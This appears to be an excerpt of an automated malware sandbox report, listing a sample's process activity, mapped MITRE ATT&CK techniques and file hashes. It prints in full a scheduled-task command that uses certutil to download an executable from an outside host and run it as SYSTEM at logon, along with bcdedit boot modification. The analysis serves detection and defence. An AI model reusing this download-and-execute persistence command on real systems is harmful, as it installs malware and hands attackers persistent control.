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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Scheduled Task/Job: Scheduled Task
PID:3256
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
PID:3860
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:1532
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
3.9MB
MD5dfa4c39d87dbd15f1a8f3411d6eb6b36
SHA13c9adacbeee00a1a0bf135add8934c589b103f80
SHA2563b6b88af6f799c7f6dfca0064f850a139ea22e77d23adb971a82238b05c9b4dd
SHA512fbaf7a7dd06e8c25ceb1c72281d9239e910260f4d392f2beb266988063dd3f50580ba0c891ea3ae08f647e5cc7e34c6355b62249bb92b520a0d177da12347dc0